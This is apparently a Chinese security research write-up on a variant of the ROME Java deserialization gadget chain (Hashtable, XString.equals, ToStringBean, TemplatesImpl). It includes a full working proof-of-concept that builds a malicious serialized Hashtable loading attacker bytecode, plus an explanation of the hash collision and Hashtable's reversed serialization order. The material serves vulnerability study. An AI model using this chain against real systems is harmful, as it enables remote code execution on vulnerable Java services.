一,链条总览
HashTable.readObject()
->XString.equals(ToStringBean)
->ToStringBean.toString()
->getInstrance()
->类加载
二,poc
这条链子本质上并没有新增新的 Sink,也没有新增新的 Trigger,仅仅去掉了 HotSwappableTargetSource 这个 equals 转发 Gadget,因此需要主动制造 hash 冲突,并控制 equals 的调用方向。
直接上 poc:
public class App { public static void main(String[] args) throws Exception { byte[] evilBytes = Files.readAllBytes( Paths.get("D:/intellij/Rome/Evil.class"));
TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Evil"); setField(templates, "_tfactory", new TransformerFactoryImpl());
ObjectBean bean = new ObjectBean(Templates.class, templates); setField(getField(bean, "_equalsBean"), "_obj", "x"); XString xStr = new XString("x");
System.out.println("baen.hashcode:" + bean.hashCode()); System.out.println("XString.hashcode:" + xStr.hashCode());
Hashtable table = new Hashtable(); table.put("test1", 2); table.put("test2", 2);
Object[] tab = (Object[]) getField(table, "table"); for (Object entry : tab) { if (entry == null) continue; Object key = getField(entry, "key"); if ("test1".equals(key)) { // "test1" 在 bucket[5](较小),必须放置后序列化的 ObjectBean setField(entry, "key", bean); setField(entry, "hash", bean.hashCode()); } else if ("test2".equals(key)) { // "test2" 在 bucket[6](较大),必须放置先序列化的 XString (作为栈顶出栈) setField(entry, "key", xStr); setField(entry, "hash", xStr.hashCode()); break; } }
System.out.println("=== serializing ==="); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("rome03.ser")); oos.writeObject(table); oos.close();
System.out.println("=== deserializing ==="); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("rome03.ser")); Hashtable result = (Hashtable) ois.readObject(); ois.close(); } static void setField(Object obj, String name, Object value) throws Exception { Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); f.set(obj, value); }
static Object getField(Object obj, String name) throws Exception { Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); return f.get(obj); }}1.首先是关于 hash 冲突的构造
先查看 XString 类的 hashCode 方法

跟进 str()方法

方法返回一个字符串类型的 m_obj 或者空字符串,继续查看 m_obj 属性

XString 本身没有显示定义 m_obj 属性,而是继承自 XObject,可以看到这个 m_obj 也就是初始化时传入的一个可控参数,我们只要控制这个类的初始化就能控制 XString 类的 hash 值
再来查看查看 ObjectBean 是的 hashCode 方法,也就是 EqualsBean 中 的beanHashCode 方法

可以看到 _obj.toString()hashCode(),_obj 也是我们可以控制的构造函数的参数,刚好也是将字符串进行 hash
那么如下制造 hash 冲突:
ObjectBean bean = new ObjectBean(Templates.class, templates);setField(getField(bean, "_equalsBean"), "_obj", "x");XString xStr = new XString("x");2.hashtable 类存储桶的出入顺序

依旧是为了避免本地提前触发链子,我们先再 HashTable 中放入两个无关元素,避免放入元素时调用 equals 方法提前触发链子
在进行反射修改时属性时我遇到了两个问题,上一个 rome 链时我总结了 HashTable 类和 HashMap 类关于 equals 方法在调用方向上的不同,在构造这个链时我牢记这个规则,必须是 XString.equals(ToStringBean),但是我先入为主的想先放进去的元素就是就会先处理,后放入的就会后处理,所以我将 XString 先放入 HashTable,ObjectBean 后放入,期望这样 XString 会先恢复,然后在 ObjectBean 恢复时触发 hash 冲突,此时就会按我预想调用 XString.equals 方法,但是元素放入存储同中的位置是通过对元素 hash 再对 table 数组长度取余确定的,先进去的不一定在最前面的位置,后进去的也不一定在靠后的位置,这里我放入的”test1”、“test2”他们的 hash 取余后一个放在 5 号桶,一个放在 6 号桶,恰巧满足了我想将 XString 放在前面的期望,但是实际运行的后发现并没有触发链子,调试时发现走的是 ObjectBean 的 euqlas 方法
为什么会这样?进行仔细的研究后发现,是 HashTable 在序列化时进行的特殊处理(备注:复现环境为 jdk8u65)

可以看到 Hashtable.writeObject() 并不是直接按照 table[] 顺序写出 Entry,而是先构造一个 LIFO 的 entryStack,使最终写出的 Entry 顺序与 table[] 遍历顺序相反,因此 readObject() 恢复对象的顺序也发生了反转
so;
Object[] tab = (Object[]) getField(table, "table");for (Object entry : tab) { if (entry == null) continue; Object key = getField(entry, "key"); if ("test1".equals(key)) { // "test1" 在 bucket[5](较小),必须放置后序列化的 ObjectBean setField(entry, "key", bean); setField(entry, "hash", bean.hashCode()); } else if ("test2".equals(key)) { // "test2" 在 bucket[6](较大),必须放置先序列化的 XString (作为栈顶出栈) setField(entry, "key", xStr); setField(entry, "hash", xStr.hashCode()); break; }}